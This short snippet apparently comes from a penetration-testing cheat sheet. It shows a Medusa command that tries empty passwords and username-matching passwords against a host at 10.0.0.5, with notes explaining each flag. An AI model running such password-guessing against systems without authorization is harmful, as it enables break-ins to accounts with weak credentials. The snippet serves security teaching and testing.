roto@oco:~$ nano usernames.txt
...
root@oco:~$ medusa -h 10.0.0.5 -U usernames.txt -e ns -M {service_name}
* the -e n represents additional checks for empty passwords
* the -e s represents additional checks for passwords matching the username
* replace the {service_name} with the appropriate service module
* Medusa will try each username with an empty password and then with the password matching the username, potentially revealing accounts with weak or default configurations.